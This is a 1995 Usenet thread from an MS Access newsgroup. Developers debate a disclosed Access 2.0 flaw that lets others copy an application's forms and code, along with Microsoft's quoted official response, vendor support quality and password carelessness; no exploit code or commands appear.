Yeap, that's what I meant saying "It's all in the code..." :) :(
Gunnar Dalseth
>
>Michae...@msn.com (Michael S. Kaplan) wrote:
>
>><<1. Design a system and tell everybody how secure it is. However,
>>leave a trapdoor, and gamble on people not finding it too early>>
>
>Michael, since your post is several days later than the original
>posts, by the time your reached my news server the original post is
>gone. It will help the discussion a lot if you have attributed the
>remark you quoted above properly to its rightful author. It simply
>helps the flow of ideas.
I think I was the one who committed the original post.
>>This is *way* too paranoid for me..... this looks more to me like a
>>design flaw... an implementation of a macro action that simply
>>performs an action without doing it in the proper security context.
>>I think it is beyond ridiculous to assume that this was done on
>>purpose.
Well, I guess I wasn't too serious. I've just been a bit frustrated
with MS support. When I phone, it is more like a counselling session
where the emphasis is for the counselor to listen patiently for
the counsellee to vent his/her frustrations. And now I'm afraid that if
I come with another problem, they'll tell me to first of all change
to Access 95 and then phone them back again if I still have the
same problem.... How long will they support Access 2? And no
fixing of bugs, right?
But I do _not_ think honestly that the security flaw was put in there
intentionally. It is just another bug of the kind that I have made
many of during my app. 20 years in programming. But I'm still
frustrated with lacks of other features and other design flaws
in the system. Like others have written, it has been important
for MS to _sell_ the system, at the cost of straightening out
the flaws and THINKING before the whole thing was released.
Gunnar
Christopher R Baker
In response to a lot of requests, I'm posting the MS response to the
security problem from Compuserve.
FWIW: I use CServe a lot for Access support and definitely find it worth
it. The quality of support there is excellent. I read this newsgroup only
occasionaly. Although the regulars here do a great job, Cserve is more
efficient for me because it is more orgranized and you can get 'official'
responses from MS.
Here is the response in its entirety:
<<
Subj: Access 2.0 Security Section: Security
To: All Wednesday, November 22, 1995
7:17:22 PM
From: Monte Slichter [MSFT], 72662,1611#468231
To acknowledge recent discussions on Access 2.0 security, I am posting
this
message on behalf of the Microsoft Access Team:
Recently, an Access 2.0-specific function was posted on the Internet that
can
be used to view or copy the source code of an Access 2.0 application.
This
effects Access 2.0 developers who use the Access 2.0 security tools to lock
users out of their proprietary application code. Because the intent of this
function is to enable unauthorized access to valuable intellectual property,
we are concerned about it's use and would like to address the following
questions this might raise:
Is my Access 2.0 data safe?
Yes. Information stored in Access 2.0 tables and queries remains
protected
so unauthorized users cannot access secured data, provided you have
correctly
followed recommended security steps. You can review Microsoft Access
recommended security steps by obtaining a copy of the Microsoft Access
2.0
Security Whitepaper and/or the Microsoft Access 2.0 Security Wizard by
calling PSS or downloading it from CompuServe.
What exactly is this function?
The posted function uses Access Basic code to create an unauthorized
copy of
an application including the forms, reports, macros, and modules. Tables
and
queries are not copied.
What versions does this effect?
This is an Access 2.0-specific issue. This function does not work in Access
for Windows 95. In Access 2.0, the effect of the function is limited to
exposing database objects, such as forms, reports, macros and modules.
Information stored in Access 2.0 tables and queries remains protected.
Who does this effect?
This is a concern for developers who use the Access 2.0 security tools to
protect code from unauthorized copying. It is not a concern for end users.
It is important to note that someone who chooses to use this function can
view/copy your code, but does not have access to the table structure or
data.
Application code is typically written with a particular table and data
structure in mind, and without access to those structures, it would be
difficult to completely understand how the code works.
What should I do?
Access 2.0 developers should:
- Review the recommended security steps outlined in the Microsoft Access
Security Whitepaper and use the Microsoft Access 2.0 Security Wizard
when
securing applications. These tools are available by calling Microsoft
Access Product Support Services (PSS), by download from CompuServe
(go
msaccess), or via the Internet (http:\\www.microsoft.com\msoffice.
- Protect their intellectual property with proper license agreements.
- Consider moving to Access for Windows 95.
The Microsoft Access Team
>>
Weiqi Gao
>
> > I grabbed the CompuServ disks that they mail me every two weeks and
>> installed it on my computer. I gave away my credit number, and logged on
as
>> Logan-Hogan, knowing full well I'll spend the next 29 days trying to call
>> CompuServ to cancel my free 10 hour account!
>> I went in there (to the Access forum, oh imperssive! Ken Getz is there
>> answering questions, etc. and Michael Kaplan and Alan Dunsmir were all
over
>> the place!)
>> Weiqi Gao
>> weiq...@crl.com
>
>This is a bit off the subject, but i'm curious to know whether you saw
>anything in the Access forum that would be worth subscribing to
>CompuServ for. I know that MS responds officially to that group only,
>but is there information there that we aren't getting here (even if it's
>a few days later)?
>
>Terri
>tor...@csse.enet.dec.com
>
I didn't have time to check out the other posts. The big difference there
is that there are loads of people who have access to the Access SOURCE CODE.
And in a really tense situation that can really make a difference.
But I think this group is cool too. And we have access to the microsoft
archive site too. And if you have a direct T1 connection to the internet,
you can download files from ftp.microsoft.com hundreds of times faster than
from CompuServe.
--
Weiqi Gao
weiq...@crl.com
Weiqi Gao
>
>I think the whole issue was cooked up by Elvis Presley, who is alive and
>living in Cleveland.
>
It's Kalamazoo, Michigan!
On to the subject of Access security: I checked CompeServe again today.
One person who appeared to have read the Microsoft post said it appeared
last Friday. And the article is still available from MSN. He went on
saying that the response is not too much exciting, and includes only the
following:
1. Yes there is a bug.
2. Your data is safe.
--
Weiqi Gao
weiq...@crl.com
John W. Roche IV
Weiqi Gao
Thank you Christopher for posting the Access Team's reaction.
Here's some of my thoughts on this issue:
1. The Microsoft Lawyers are really good! Men, talking about turning the
gun around and shoot back!
2. The INTENT of the function is to expose a flaw (A MISTAKE, A BUG, A
FITNESS FOR A PARTICULAR PURPOSE) in a popular Microsoft product, of which
Microsoft have knowledge long before the posting of the code, and about
which Microsoft did absolutely nothing---either to inform ITS OWN users of
the potential harm of the flaw, or take steps to modify their product
(KNOWINGLY SELLING A DEFECTIVE PRODUCT WITHOUT INFORMING THE COMSUMER OF THE
DEFECT.)
3. I want my money back!
--
Weiqi Gao
weiq...@crl.com
Terri-Lynn Torrez
Michael E. Hogberg
(KNOWINGLY SELLING A DEFECTIVE PRODUCT WITHOUT INFORMING THE COMSUMER
OF THE
DEFECT.)
MEH
Anyone thinking class-action??????
Peter Miller
In article <47086...@moonrake.demon.co.uk> Alan M. Dunsmuir wrote:
>Why not make a New Year's resolution in future to post as fact only those
>things you actually know to be fact, and not anything you might simply have
>guessed, or thought "it's the way it should be, or might be"?
Ok, thats a good approach for all of us. And at the same time, why not include a
resolution to not assume that someone doesn't know what they're talking about
unless you actually read their post seriously. This should cut down on some of
the arrogance and ignorance.
Peter Miller
PK Solutions
Alan M. Dunsmuir
> I didn't have time to check out the other posts. The big difference there
> is that there are loads of people who have access to the Access SOURCE
CODE.
> And in a really tense situation that can really make a difference.
>
This is utter nonsense. Nobody outside Microsoft has access to Access source
code. Even the structure of the Access .mdb files is a clsoely-held
commercial secret.
Michael S. Kaplan
MS people?>>
I'm not MS Mail, and I don't tell them what to do or how to do it. I
was just informing you that a response was made and where it was made.
Michael S. Kaplan
Trigeminal Software, Inc.
MSN/CIS MSAccess MVP
(and is kind to his cats)
Michael S. Kaplan
I'm sorry but I don't see that its my place to do so.
Michael Kaplan
MSN/CIS MSAccess MVP
Danny Ames
Most hackers who could pose a real threat (meaning they know how to use the
info they get) to those complaining about the access security issue, wouldnt
mess with hacking access. NT probably for fun, unix always, and your internet
account they already have. The fun is in the challenge and access doesnt
provide one. If you want to be paranoid, just think of how exposed your entire
desktop is now that OLE is comming of age. By the time Ciaro come outs and
the VB4 network distributed objects and others like Envelope have proved that
OLE components are a good solution, every aspect of your computer can be
potentialy browsed and greped by some one with and OLE Object Viewer (like the
one in Excel and VB4 (with a slight modification), anywhere on the nework
INCLUDING people on the internet.) All public OLE classes and remote
automation objects are touchable through automation. TCP/IP protocols provide
0% security unless you pay the 20k-30k for a Firewall, but really that doesn't
work well either. The message ultimatly being: learn from the mistakes and
dont expect someone else to protect you. Add a new clause to you contract
stipulating more detail on rights and go on, the rest of the development world
in not going to stop on a dime for a low end RDBMS and it security issues.
Hell they dont stop for SQL Server, Sybase or Oracle either... Make a better
product than what is out and then you can spit on all the others, because you
have a right to be critical, but I doubt that any of us here have made a
better database, word proccessor, spreadsheet, OS or whatever (and in the case
that someone has, is it MS Compatable?). Lets be thankful that we can use the
tools we have and remember they are not OUR tools, they are "licenced" from
someone else. None of us OWN our software, we own the licence to use it.
Weiqi Gao
>In article: <49nm3c$o...@nntp.crl.com> weiq...@crl.com (Weiqi Gao) writes:
>> I didn't have time to check out the other posts. The big difference there
>> is that there are loads of people who have access to the Access SOURCE
>CODE.
>> And in a really tense situation that can really make a difference.
>>
>This is utter nonsense. Nobody outside Microsoft has access to Access source
>code. Even the structure of the Access .mdb files is a clsoely-held
>commercial secret.
But what about those people who have "Microsoft" in their signature?
Or the big shot who "has been the project lead for Access, and now
heading a Access consulting firm"? Or the book authors who "thanks
the insight provided by the Access development team" in the preface?
--
Weiqi Gao
weiq...@crl.com
Trevor Best
cba...@world.std.com (Christopher R Baker) wrote:
[snip official ms blurb]
>What should I do?
>Access 2.0 developers should:
>- Review the recommended security steps outlined in the Microsoft Access
> Security Whitepaper and use the Microsoft Access 2.0 Security Wizard
>when
> securing applications. These tools are available by calling Microsoft
> Access Product Support Services (PSS), by download from CompuServe
>(go
> msaccess), or via the Internet (http:\\www.microsoft.com\msoffice.
>- Protect their intellectual property with proper license agreements.
>- Consider moving to Access for Windows 95.
>The Microsoft Access Team
>>>
Does this really protect it from Steve "The Hacker" Drinovsky?
\|||/
/ \
C o o D
-----------------ooO--u--Ooo-------------------------------
To every rule there is an exception, and vice versa.
tre...@microprism.com - Microprism (UK) Limited
Weiqi Gao
>
>Most hackers who could pose a real threat (meaning they know how to use the
>info they get) to those complaining about the access security issue, wouldnt
>mess with hacking access.
You're right. I didn't realize how good I am until I had to open up
an Access application and find out why a report on a 11,000 record
(3MB) table takes 27 minutes on a 486 (it runs in 2 seconds now.) The
guy's still out there consulting! The Access code alone is not worth
it.
>NT probably for fun, unix always, and your internet account they
>already have. The fun is in the challenge and Access doesnt
>provide one.
Oh no, I still cannot post as Trevor Best :(
>[......]
>The message ultimatly being: learn from the mistakes and
>dont expect someone else to protect you. Add a new clause to you contract
>stipulating more detail on rights and go on, the rest of the development world
>in not going to stop on a dime for a low end RDBMS and it security issues.
Teacher: Students, today you learned the lesson of how to handle
mistakes. You don't stop! You don't drop! And you turn the gun
around and shoot back!
>Hell they dont stop for SQL Server, Sybase or Oracle either... Make a better
>product than what is out and then you can spit on all the others, because you
>have a right to be critical, but I doubt that any of us here have made a
>better database, word proccessor, spreadsheet, OS or whatever (and in the case
>that someone has, is it MS Compatable?). Lets be thankful that we can use the
>tools we have and remember they are not OUR tools, they are "licenced" from
>someone else. None of us OWN our software, we own the licence to use it.
And remember, from now on, the Access application license you sell is
just as good as a source code license! And we all have Microsoft to
thank for it.
--
Weiqi Gao
weiq...@crl.com
Alan M. Dunsmuir
> But what about those people who have "Microsoft" in their signature?
> Or the big shot who "has been the project lead for Access, and now
> heading a Access consulting firm"? Or the book authors who "thanks
> the insight provided by the Access development team" in the preface?
>
Anybody who has ever had access to the source code of Access (and that means
only members of the program development team) is under strong NDA not to let
any of his detailed knowledge out, and in any case such people are far too
valuable to Microsoft to allow them to waste their time sitting on a Forum
which Microsoft no longer officially supports. The people on the CIS Forum
with [MSFT] in their signatures are simply customer support people
designated to act as Microsoft's residual presence on the Forum. (And this
is being steadily cut down as they rely more and more on the MVPs to give
'peer to peer' support.) And they get moved around regularly from Access to
Excel, and from Excel to Word, and so on, just to keep them from becoming
'stale'. In no sense are they specifically Access experts, any more than is
the person who answers your call to the Microsoft phone help-line.
I'm sure you have some valuable things to contribute to an Access Forum, but
so many of your posts are such a strange amalgam of misconceptions,
misinterpretations and good clean fantasy as to make your continued presence
and your current style of posting a hindrance to the distribution of genuine
knowledge about Access. (Remember your 'authoritative' messages about the
total absence of any form of Access Security which you posted *before* you
had even bothered to real the chapter on security in 'Building
Applications', far less the security white paper?)
Why not make a New Year's resolution in future to post as fact only those
things you actually know to be fact, and not anything you might simply have
guessed, or thought "it's the way it should be, or might be"?
Weiqi Gao
>so many of your posts are such a strange amalgam of misconceptions,
>misinterpretations and good clean fantasy as to make your continued presence
>and your current style of posting a hindrance to the distribution of genuine
>knowledge about Access.
Your wish is granted. The hindrance to the distribution of genuine
knowledge about Access---Weiqi "Total Rubbish" Gao---hereby announces
his resignation from the internet newsgroup comp.databases.ms-access,
and yield the balance of his alloted internet time, plus his share of
questions to be answered in the group, to the gentleman from Her
Majesty's Sovereign, effective immediately, and until such time as his
conception should be deemed pure and correct and in conformance to the
highest ethical and scientific and technical and theoretical and
practical standards set forth in the history known to men (and
women)---THE MICROSOFT WHITE PAPER---by every member of the
newsgroup!!!
> (Remember your 'authoritative' messages about the
>total absence of any form of Access Security which you posted *before* you
>had even bothered to real the chapter on security in 'Building
>Applications', far less the security white paper?)
I take pride in the fact that I wasn't off by too far!
--
Weiqi Gao
weiq...@crl.com
_///_
|0-0|
\ = / My only regret:
\_/ I haven't earned the right to post as Trevor Best yet!
Michael S. Kaplan
"But what about those people who have "Microsoft" in their signature?
Or the big shot who "has been the project lead for Access, and now
heading a Access consulting firm"? Or the book authors who "thanks
the insight provided by the Access development team" in the preface?"
Maybe I am missing something (I don't get up here all that often).
But what exactly is WRONG with any of this. Microsoft PSS (the
people who have MS in their signature) tracks all messages and
answers open issues that have been unanswered for over 24-48 hours
(including checks for CONTENT).
I'm not sure what project lead you are talking about, but this is no
worse then when former military officers become consultants for firms
that pitch for military contracts. Do you expect them to take up
knitting if they leave MS? <g>
And as far as thanking PSS in a book preface, spending time on the
forum I learn a lot from ALL THE PEOPLE WHO POST, and that includes
Product Support Services. Do you ever use the Microsoft Knowledge
Base? Most of those articles are written by the very PSS personnel
that you are now indicting. They do excellent work in a job that I
would NEVER want to do (they have to take all the junk from us *and*
all the junk from the testers and others. They literally ARE the
front lines in all aspects of Access support). Any book author who
doesn't thank them either doesn't use the KB/CIS/MSN or is lying to
themselves about who does good work,
All of this is BTW -- I have no idea why this somehow makes CIS a
worse place to use as a resource. I know that MS isn't always happy
with what I post there (you may not have noticed I keep things pretty
close to the surface <g>), but I still do it.
And none of this really has anything to do with the entirely baseless
claim that people on the forum somehow have secret access to the
source code of Jet or Access. I think you have been hideously
misinformed.
Michael Kaplan
Pierre Semaan
>In response to a lot of requests, I'm posting the MS response to the
<SNIP>
>security problem from Compuserve.
>Here is the response in its entirety:
><<
>Subj: Access 2.0 Security Section: Security
> To: All Wednesday, November 22, 1995
>7:17:22 PM
>From: Monte Slichter [MSFT], 72662,1611#468231
<SNIP>
>What should I do?
>Access 2.0 developers should:
>- Review the recommended security steps outlined in the Microsoft Access
> Security Whitepaper and use the Microsoft Access 2.0 Security Wizard
>when
> securing applications. These tools are available by calling Microsoft
> Access Product Support Services (PSS), by download from CompuServe
>(go
> msaccess), or via the Internet (http:\\www.microsoft.com\msoffice.
>- Protect their intellectual property with proper license agreements.
>- Consider moving to Access for Windows 95.
>The Microsoft Access Team
>>>
WHAT THE HELL????
I would expect heads to roll at MS, not this blatant duck shove,
everything is right since it only effects developers. An this
"solution" is a definite cop-out. I do not know what I can do to
pressure them, but I am definitely open for suggestions.
______
___ / | \ _ Keep Them Honest
\__/____|___\_/_|_ ---------------------
>>> / \ | Pierre Semaan |
>>>>/___/-\____/-\______|))))) | Silhouette Software |
>>> ( ) ( ) | NSW Australia |
---------------------
John Auld
yellow post-it notes up on their monitors so that even the office
cleaner on night shift can peek at your critically secured data <g>.
Seriously, I am fed up to my hind teeth with the number of passwords I
need to remember to do my job and to get money out of the bank
machine. It is no suprise that users will write down passwords in
their diaries and many other obvious places. They will also chose
obvious passwords and try to use the same ones over and over again.
So the moral of the story is that no matter how good or bad the
security of the application, the highest level of risk of undesired
disclosure does not come from hackers but from carelessness (IMHO of
course).
John Auld